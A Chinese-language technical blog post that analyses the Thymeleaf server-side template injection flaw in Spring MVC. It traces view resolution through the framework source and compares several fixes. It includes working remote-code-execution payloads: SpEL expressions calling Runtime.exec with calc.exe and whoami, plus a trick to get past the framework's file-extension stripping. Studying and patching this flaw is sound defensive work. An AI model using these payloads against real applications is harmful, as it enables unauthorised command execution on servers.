Thymeleaf SSTI漏洞分析
前言
最近看到某平臺上有一篇關于SSTI的文章,之前也沒了解過SSTI的漏洞,因此決定寫篇文章記錄學習過程。
模板引擎
要了解SSTI漏洞,首先要對模板引擎有所了解。下面是模板引擎的幾個相關概念。
模板引擎(這里特指用于Web開發的模板引擎)是為了使用戶界面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,用于網站的模板引擎就會生成一個標準的文檔。
模板引擎的本質是將模板文件和數據通過模板引擎生成最終的HTML代碼。
模板引擎不屬于特定技術領域,它是跨領域跨平臺的概念。
模板引擎的出現是為了解決前后端分離的問題,拿JSP的舉個栗子,JSP本身也算是一種模板引擎,在JSP訪問的過程中編譯器會識別JSP的標簽,如果是JSP的內容則動態的提取并將執行結果替換,如果是HTML的內容則原樣輸出。
xxx.jsp
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Insert title here</title> </head> <body> <%=111*111%> </body> </html>
上面的代碼經過JSP引擎編譯后,HTML部分直接輸出,而使用JSP標簽部分則是經過了解析后的結果。
out.write("<!DOCTYPE html>\r\n");
out.write("<html>\r\n");
out.write("<head>\r\n");
out.write("<meta charset=\"UTF-8\">\r\n");
out.write("<title>Insert title here</title>\r\n");
out.write("</head>\r\n");
out.write("<body>\r\n");
//解析后的結果
out.print(111*111);
out.write("\r\n");
out.write("</body>\r\n");
out.write("</html>");
既然JSP已經是一個模板引擎了為什么后面還要推出其他的模板引擎?
- 動態資源和靜態資源全部耦合在一起,還是需要在
JSP文件中寫一些后端代碼,這其實比較尷尬,所以導致很多JAVA開發不能專注于JAVA開發還需要寫一些前端代碼。 - 第一次請求jsp,必須要在web服務器中編譯成servlet,第一次運行會較慢。
- 每次請求jsp都是訪問servlet再用輸出流輸出的html頁面,效率沒有直接使用html高。
- 如果jsp中的內容很多,頁面響應會很慢,因為是同步加載。
- jsp只能運行在web容器中,無法運行在nginx這樣的高效的http服務上。
- 使用模板引擎的好處是什么?
- 模板設計好后可以直接填充數據使用,不需要重新設計頁面,增強了代碼的復用性
Thymeleaf
Thymeleaf是眾多模板引擎的一種和其他的模板引擎相比,它有如下優勢:
- Thymeleaf使用html通過一些特定標簽語法代表其含義,但并未破壞html結構,即使無網絡、不通過后端渲染也能在瀏覽器成功打開,大大方便界面的測試和修改。
- Thymeleaf提供標準和Spring標準兩種方言,可以直接套用模板實現JSTL、 OGNL表達式效果,避免每天套模板、改JSTL、改標簽的困擾。同時開發人員也可以擴展和創建自定義的方言。
- Springboot官方大力推薦和支持,Springboot官方做了很多默認配置,開發者只需編寫對應html即可,大大減輕了上手難度和配置復雜度。
語法
既然Thymeleaf也使用的html,那么如何區分哪些是Thymeleaf的html?
在Thymeleaf的html中首先要加上下面的標識。
<html xmlns:th="http://www.thymeleaf.org">
標簽
Thymeleaf提供了一些內置標簽,通過標簽來實現特定的功能。
標簽作用示例th:id替換id<input th:id="${user.id}"/>th:text文本替換<p text:="${user.name}">bigsai</p>th:utext支持html的文本替換<p utext:="${htmlcontent}">content</p>th:object替換對象<div th:object="${user}"></div>th:value替換值<input th:value="${user.name}" >th:each迭代<tr th:each="student:${user}" >th:href替換超鏈接<a th:href="@{index.html}">超鏈接</a>th:src替換資源<script type="text/javascript" th:src="@{index.js}"></script> 鏈接表達式
在Thymeleaf
中,如果想引入鏈接比如link,href,src,需要使用@{資源地址}引入資源。引入的地址可以在static目錄下,也可以司互聯網中的資源。
<link rel="stylesheet" th:href="@{index.css}">
<script type="text/javascript" th:src="@{index.js}"></script>
<a th:href="@{index.html}">超鏈接</a>
變量表達式
可以通過${…}在model中取值,如果在Model中存儲字符串,則可以通過${對象名}直接取值。
public String getindex(Model model)//對應函數
{
//數據添加到model中
model.addAttribute("name","bigsai");//普通字符串
return "index";//與templates中index.html對應
}
<td th:text="'我的名字是:'+${name}"></td>
取JavaBean對象使用${對象名.對象屬性}或者${對象名['對象屬性']}來取值。如果JavaBean寫了get方法也可以通過${對象.get方法名}取值。
public String getindex(Model model)//對應函數
{
user user1=new user("bigsai",22,"一個幽默且熱愛java的社會青年");
model.addAttribute("user",user1);//儲存javabean
return "index";//與templates中index.html對應
}
<td th:text="${user.name}"></td>
<td th:text="${user['age']}"></td>
<td th:text="${user.getDetail()}"></td>
取Map對象使用${Map名['key']}或${Map名.key}。
@GetMapping("index")//頁面的url地址
public String getindex(Model model)//對應函數
{
Map<String ,String>map=new HashMap<>();
map.put("place","博學谷");
map.put("feeling","very well");
//數據添加到model中
model.addAttribute("map",map);//儲存Map
return "index";//與templates中index.html對應
}
<td th:text="${map.get('place')}"></td>
<td th:text="${map['feeling']}"></td>
取List集合:List集合是一個有序列表,需要使用each遍歷賦值,<tr th:each="item:${userlist}">
@GetMapping("index")//頁面的url地址
public String getindex(Model model)//對應函數
{
List<String>userList=new ArrayList<>();
userList.add("zhang san 66");
userList.add("li si 66");
userList.add("wang wu 66");
//數據添加到model中
model.addAttribute("userlist",userList);//儲存List
return "index";//與templates中index.html對應
}
<tr th:each="item:${userlist}">
<td th:text="${item}"></td>
</tr>
選擇變量表達式
變量表達式也可以寫為*{...}。星號語法對選定對象而不是整個上下文評估表達式。也就是說,只要沒有選定的對象,美元(${…})和星號(*{...})的語法就完全一樣。
<div th:object="${user}">
<p>Name: <span th:text="*{name}">賽</span>.</p>
<p>Age: <span th:text="*{age}">18</span>.</p>
<p>Detail: <span th:text="*{detail}">好好學習</span>.</p>
</div>
消息表達式
文本外部化是從模板文件中提取模板代碼的片段,以便可以將它們保存在單獨的文件(通常是.properties文件)中,文本的外部化片段通常稱為“消息”。通俗易懂的來說#{…}語法就是用來
讀取配置文件中數據 的。
片段表達式
片段表達式~{...}可以用于引用公共的目標片段,比如可以在一個template/footer.html中定義下面的片段,并在另一個template中引用。
<div th:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>
<div th:insert="~{footer :: copy}"></div>
Demo
為了能快速對Thymeleaf上手,我們可以先寫一個Demo直觀的看到Thymeleaf的使用效果。
首先創建一個SpringBoot項目,在模板處選擇Thymeleaf。

創建好的目錄結構如下,可以在templates中創建html模板文件。

編寫Controller
@Controller
public class urlController {
@GetMapping("index")//頁面的url地址
public String getindex(Model model)//對應函數
{
model.addAttribute("name","bigsai");
return "index";//與templates中index.html對應
}
}
在templates下創建模板文件index.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
hello 第一個Thymeleaf程序
<div th:text="${name}"></div>
</body>
</html>
啟動程序訪問/index

SpringMVC 視圖解析過程分析
視圖解析的過程是發生在Controller處理后,Controller處理結束后會將返回的結果封裝為ModelAndView對象,再通過視圖解析器ViewResovler得到對應的視圖并返回。分析的栗子使用上面的Demo。
封裝ModelAndView對象
在ServletInvocableHandlerMethod#invokeAndHandle中,做了如下操作:
invokeForRequest調用Controller后獲取返回值到returnValue中- 判斷
returnValue是否為空,如果是則繼續判斷0RequestHandled是否為True,都滿足的話設置requestHandled為true - 通過
handleReturnValue根據返回值的類型和返回值將不同的屬性設置到ModelAndViewContainer中。
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
//調用Controller后獲取返回值到returnValue中
Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs);
this.setResponseStatus(webRequest);
//判斷returnValue是否為空
if (returnValue == null) {
//判斷RequestHandled是否為True
if (this.isRequestNotModified(webRequest) || this.getResponseStatus() != null || mavContainer.isRequestHandled()) {
this.disableContentCachingIfNecessary(webRequest);
//設置RequestHandled屬性
mavContainer.setRequestHandled(true);
return;
}
} else if (StringUtils.hasText(this.getResponseStatusReason())) {
mavContainer.setRequestHandled(true);
return;
}
mavContainer.setRequestHandled(false);
Assert.state(this.returnValueHandlers != null, "No return value handlers");
try {
//通過handleReturnValue根據返回值的類型和返回值將不同的屬性設置到ModelAndViewContainer中。
this.returnValueHandlers.handleReturnValue(returnValue, this.getReturnValueType(returnValue), mavContainer, webRequest);
} catch (Exception var6) {
if (logger.isTraceEnabled()) {
logger.trace(this.formatErrorForReturnValue(returnValue), var6);
}
throw var6;
}
下面分析handleReturnValue方法。
selectHandler根據返回值和類型找到不同的HandlerMethodReturnValueHandler,這里得到了ViewNameMethodReturnValueHandler,具體怎么得到的就不分析了。- 調用
handler.handleReturnValue,這里得到不同的HandlerMethodReturnValueHandler處理的方式也不相同。
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
//獲取handler
HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
if (handler == null) {
throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
} else {
//執行handleReturnValue操作
handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
}
}
ViewNameMethodReturnValueHandler#handleReturnValue
- 判斷返回值類型是否為字符型,設置
mavContainer.viewName - 判斷返回值是否以
redirect:開頭,如果是的話則設置重定向的屬性
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
if (returnValue instanceof CharSequence) {
String viewName = returnValue.toString();
//設置返回值為viewName
mavContainer.setViewName(viewName);
//判斷是否需要重定向
if (this.isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
} else if (returnValue != null) {
throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
}
}
通過上面的操作,將返回值設置為mavContainer.viewName,執行上述操作后返回到RequestMappingHandlerAdapter#invokeHandlerMethod中。通過getModelAndView獲取ModelAndView對象。

protected ModelAndView invokeHandlerMethod(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
...
ModelAndView var15;
invocableMethod.invokeAndHandle(webRequest, mavContainer, new Object[0]);
if (asyncManager.isConcurrentHandlingStarted()) {
result = null;
return (ModelAndView)result;
}
//獲取ModelAndView對象
var15 = this.getModelAndView(mavContainer, modelFactory, webRequest);
} finally {
webRequest.requestCompleted();
}
return var15;
}
getModelAndView根據viewName和model創建ModelAndView對象并返回。
private ModelAndView getModelAndView(ModelAndViewContainer mavContainer, ModelFactory modelFactory, NativeWebRequest webRequest) throws Exception {
modelFactory.updateModel(webRequest, mavContainer);
//判斷RequestHandled是否為True,如果是則不會創建ModelAndView對象
if (mavContainer.isRequestHandled()) {
return null;
} else {
ModelMap model = mavContainer.getModel();
//創建ModelAndView對象
ModelAndView mav = new ModelAndView(mavContainer.getViewName(), model, mavContainer.getStatus());
if (!mavContainer.isViewReference()) {
mav.setView((View)mavContainer.getView());
}
if (model instanceof RedirectAttributes) {
Map<String, ?> flashAttributes = ((RedirectAttributes)model).getFlashAttributes();
HttpServletRequest request = (HttpServletRequest)webRequest.getNativeRequest(HttpServletRequest.class);
if (request != null) {
RequestContextUtils.getOutputFlashMap(request).putAll(flashAttributes);
}
}
return mav;
}
}
獲取視圖
獲取ModelAndView后,通過DispatcherServlet#render獲取視圖解析器并渲染。
protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
Locale locale = this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale();
response.setLocale(locale);
String viewName = mv.getViewName();
View view;
if (viewName != null) {
//獲取視圖解析器
view = this.resolveViewName(viewName, mv.getModelInternal(), locale, request);
if (view == null) {
throw new ServletException("Could not resolve view with name '" + mv.getViewName() + "' in servlet with name '" + this.getServletName() + "'");
}
} else {
view = mv.getView();
if (view == null) {
throw new ServletException("ModelAndView [" + mv + "] neither contains a view name nor a View object in servlet with name '" + this.getServletName() + "'");
}
}
if (this.logger.isTraceEnabled()) {
this.logger.trace("Rendering view [" + view + "] ");
}
try {
if (mv.getStatus() != null) {
response.setStatus(mv.getStatus().value());
}
//渲染
view.render(mv.getModelInternal(), request, response);
} catch (Exception var8) {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Error rendering view [" + view + "]", var8);
}
throw var8;
}
}
獲取視圖解析器在DispatcherServlet#resolveViewName中完成,循環遍歷所有視圖解析器解析視圖,解析成功則返回。
protected View resolveViewName(String viewName, @Nullable Map<String, Object> model, Locale locale, HttpServletRequest request) throws Exception {
if (this.viewResolvers != null) {
Iterator var5 = this.viewResolvers.iterator();
//循環遍歷所有的視圖解析器獲取視圖
while(var5.hasNext()) {
ViewResolver viewResolver = (ViewResolver)var5.next();
View view = viewResolver.resolveViewName(viewName, locale);
if (view != null) {
return view;
}
}
}
return null;
}
在Demo中有5個視圖解析器。

本以為會在ThymeleafViewResolver中獲取視圖,實際調試發現ContentNegotiatingViewResolver中已經獲取到了視圖。

ContentNegotiatingViewResolver視圖解析器允許使用同樣的數據獲取不同的View。支持下面三種方式。
- 使用擴展名
- http://localhost:8080/employees/nego/Jack.xml
- 返回結果為XML
- http://localhost:8080/employees/nego/Jack.json
- 返回結果為JSON
- http://localhost:8080/employees/nego/Jack
- 使用默認view呈現,比如JSP
- HTTP Request Header中的Accept,Accept 分別是 text/jsp, text/pdf, text/xml, text/json, 無Accept 請求頭
- 使用參數
- http://localhost:8080/employees/nego/Jack?format=xml
- 返回結果為XML
- http://localhost:8080/employees/nego/Jack?format=json
- 返回結果為JSON
ContentNegotiatingViewResolver#resolveViewName
getCandidateViews循環調用所有的ViewResolver解析視圖,解析成功放到視圖列表中返回。同樣也會根據Accept頭得到后綴并通過ViewResolver解析視圖。getBestView根據Accept頭獲取最優的視圖返回。
public View resolveViewName(String viewName, Locale locale) throws Exception {
RequestAttributes attrs = RequestContextHolder.getRequestAttributes();
Assert.state(attrs instanceof ServletRequestAttributes, "No current ServletRequestAttributes");
List<MediaType> requestedMediaTypes = this.getMediaTypes(((ServletRequestAttributes)attrs).getRequest());
if (requestedMediaTypes != null) {
//獲取可以解析當前視圖的列表。
List<View> candidateViews = this.getCandidateViews(viewName, locale, requestedMediaTypes);
//根據Accept頭獲取一個最優的視圖返回
View bestView = this.getBestView(candidateViews, requestedMediaTypes, attrs);
if (bestView != null) {
return bestView;
}
}
...
}
視圖渲染
得到View后,調用render方法渲染,也就是ThymleafView#render渲染。render方法中又通過調用renderFragment完成實際的渲染工作。
漏洞復現
我這里使用 spring-view-manipulation 項目來做漏洞復現。
templatename
漏洞代碼
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
POC
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
漏洞原理
在renderFragment渲染的過程中,存在如下代碼。
- 當TemplateName中不包含
::則將viewTemplateName賦值給templateName。 - 如果包含
::則代表是一個片段表達式,則需要解析templateName和markupSelectors。
protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
...
//viewTemplateName中包含::則當作片段表達式執行
if (!viewTemplateName.contains("::")) {
templateName = viewTemplateName;
markupSelectors = null;
} else {
IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
FragmentExpression fragmentExpression;
try {
// 根據viewTemplateName得到FragmentExpression
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (TemplateProcessingException var25) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
//創建ExecutedFragmentExpression
ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression(context, fragmentExpression);
//獲取templateName和markupSelectors
templateName = FragmentExpression.resolveTemplateName(fragment);
markupSelectors = FragmentExpression.resolveFragments(fragment);
Map<String, Object> nameFragmentParameters = fragment.getFragmentParameters();
if (nameFragmentParameters != null) {
if (fragment.hasSyntheticParameters()) {
throw new IllegalArgumentException("Parameters in a view specification must be named (non-synthetic): '" + viewTemplateName + "'");
}
context.setVariables(nameFragmentParameters);
}
}
...
viewTemplateEngine.process(templateName, processMarkupSelectors, context, (Writer)templateWriter);
}
比如當viewTemplateName為welcome :: header則會將welcome解析為templateName,將header解析為markupSelectors。

上面只是分析了為什么要根據::做不同的處理,并不涉及到漏洞,但是當視圖名中包含::會執行下面的代碼。
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
在StandardExpressionParser#parseExpression中會通過preprocess進行預處理,預處理根據該正則\\_\\_(.*?)\\_\\_提取__xx__間的內容,獲取expression并執行execute方法。
private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32);
static String preprocess(IExpressionContext context, String input) {
if (input.indexOf(95) == -1) {
return input;
} else {
IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
if (!(expressionParser instanceof StandardExpressionParser)) {
return input;
} else {
Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);
if (!matcher.find()) {
return checkPreprocessingMarkUnescaping(input);
} else {
StringBuilder strBuilder = new StringBuilder(input.length() + 24);
int curr = 0;
String remaining;
do {
remaining = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0)));
//提取__之間的內容
String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));
strBuilder.append(remaining);
//獲取expression
IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false);
if (expression == null) {
return null;
}
//執行execute方法
Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
strBuilder.append(result);
curr = matcher.end(0);
} while(matcher.find());
remaining = checkPreprocessingMarkUnescaping(input.substring(curr));
strBuilder.append(remaining);
return strBuilder.toString().trim();
}
execute經過層層調用最終通過SPEL執行表達式的內容。


也就是說這個漏洞本質上是SPEL表達式執行。
URI PATH
下面的情況也可以觸發漏洞,這個可能很多師傅和我一樣都覺得很奇怪,這個并沒有返回值,理論上是不會執行的。
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
前面我們分析了SpingMVC視圖解析的過程,在解析視圖首先獲取返回值并封裝為ModleAndView,而在當前當前環境中并沒有返回值,按理說ModelAndView應該為空,為什么還能正常得到ModleAndView呢?
原因主要在DispatcherServlet#doDispatch中,獲取ModleAndView后還會執行applyDefaultViewName方法。
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
...
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
if (asyncManager.isConcurrentHandlingStarted()) {
return;
}
this.applyDefaultViewName(processedRequest, mv);
}
applyDefaultViewName中判斷當ModelAndView為空,則通過getDefaultViewName
獲取請求路徑作為ViewName。這也是在urlPath中傳入Payload可以執行的原因。
private void applyDefaultViewName(HttpServletRequest request, @Nullable ModelAndView mv) throws Exception {
if (mv != null && !mv.hasView()) {
String defaultViewName = this.getDefaultViewName(request);
if (defaultViewName != null) {
mv.setViewName(defaultViewName);
}
}
}
但是需要注意的是如果要在urlPath中傳入payload,則不能有返回值,否則就不會調用applyDefaultViewName設置了。下面的方式將不會導致代碼執行。
@GetMapping("/doc/{document}")
public String getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
return "welcome";
}
回顯失敗問題分析
當在URL PATH中使用下面的POC會拿不到結果。
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
經過分析問題主要是在StandardExpressionParser#parseExpression,在preprocess預處理結束后還會通過Expression.parse進行一次解析,這里如果解析失敗則不會回顯。
static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) {
IEngineConfiguration configuration = context.getConfiguration();
String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input;
IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput);
if (cachedExpression != null) {
return cachedExpression;
} else {
Expression expression = Expression.parse(preprocessedInput.trim());
if (expression == null) {
throw new TemplateProcessingException("Could not parse as expression: \"" + input + "\"");
} else {
ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression);
return expression;
}
}
}
使用上面的POC,parse的內容如下,這里可以看到::后沒有內容,因此這里肯定是會失敗的。

而在templatename那個Demo中,parse內容如下是::后是有內容的。所以能否回顯的關鍵就是Expression.parse能否正常執行。

但是我們在URL PATH的POC中也設置了::.x為什么會被去掉呢?
在分析URL PATH這種方式能獲取ModelAndView的原因時,我們分析過會在applyDefaultViewName中獲取URL
Path作為ModelAndView的name,這個操作在getViewName中完成,getLookupPathForRequest僅僅獲取了請求的地址并沒有對后面的.x做處理,處理主要是在transformPath中完成的。
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return this.prefix + this.transformPath(lookupPath) + this.suffix;
}

transformPath中通過stripFilenameExtension去除后綴,是這部分導致了.x后內容為空。
protected String transformPath(String lookupPath) {
String path = lookupPath;
if (this.stripLeadingSlash && lookupPath.startsWith("/")) {
path = lookupPath.substring(1);
}
if (this.stripTrailingSlash && path.endsWith("/")) {
path = path.substring(0, path.length() - 1);
}
//
if (this.stripExtension) {
path = StringUtils.stripFilenameExtension(path);
}
if (!"/".equals(this.separator)) {
path = StringUtils.replace(path, "/", this.separator);
}
return path;
}
stripFilenameExtension去除最后一個.后的內容,所以可以通過下面的方式繞過。
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::assadasd.asdas
漏洞修復
配置ResponseBody或RestController注解
@GetMapping("/doc/{document}")
@ResponseBody
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
配置了ResponseBody注解確實無法觸發,經過調試在applyDefaultViewName中ModelAndView是Null而非ModelAndView對象,所以hasView()會導致異常,不會設置視圖名。

所以我們要分析創建ModelAndView對象的方法,也就是getModelAndView,這里requestHandled設置為True時會返回Null,而不會創建視圖。

當我們設置了ResponseBody注解后,handler返回的是RequestResponseBodyMethodProcesser,所以這里會調用它的handleReturnValue,設置了RequestHandled屬性為True。


配置RestController修復和這種方式類似,也是由于使用RequestResponseBodyMethodProcesser設置了RequestHandled屬性導致不能得到ModelAndView對象了。

有小伙伴可能要問,上面只是講的URL PATH中的修復,templatename中這種方式也能修復嘛?答案是肯定的,根本原因在設置了RequestHandled屬性后,ModelAndView一定會返回Null。

通過redirect:
根據springboot定義,如果名稱以redirect:開頭,則不再調用ThymeleafView解析,調用RedirectView去解析controller的返回值
所以配置redirect:主要影響的是獲取視圖的部分。在ThymeleafViewResolver#createView中,如果視圖名以redirect:開頭,則會創建RedirectView并返回。所以不會使用ThymeleafView解析。

方法參數中設置HttpServletResponse 參數
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
}
由于controller的參數被設置為HttpServletResponse,Spring認為它已經處理了HTTP
Response,因此不會發生視圖名稱解析。
首先聲明下 這種方式只對返回值為空的情況下有效,也就是URL PATH 的方式 ,下面我會解釋一下原因。
設置了HttpServletResponse后也是設置requestHandled設置為True導致在applyDefaultViewName無法設置默認的ViewName。
但是它的設置是在ServletInvocableHandlerMethod#invokeAndHandle中。由于mavContainer.isRequestHandled()被設置為True,所以進入到IF語句中設置了requestHandled屬性,但是這里的前提條件是returnValue為空,所以這種修復方法只有在返回值為空的情況下才有效。

requestHandled的屬性設置在HandlerMethodArgumentResolverComposite#resolveArgument解析參數時,這里不同的傳參方式獲得的ArgumentResolver是不同的,比如沒加HttpServletResponse時得到的是PathVariableMethodArgumentResolver。

加上后會對HttpServletResponse也進行參數解析,解析后的結果為ServletResponseMethodArgumentResolver,在它的resolveArgument方法中,會設置requestHandled屬性。


總結
Thymeleaf 模板注入和我理解的不太一樣,之前以為這種模板注入應該是解析特定標簽時候導致的問題。
從修復的角度來講使用@ResponseBody或者@RestController更容易修復漏洞,而設置HttpServletResponse有一定的局限性,對templatename的方式無用。
參考
- Java安全之Thymeleaf SSTI分析
- Thymeleaf一篇就夠了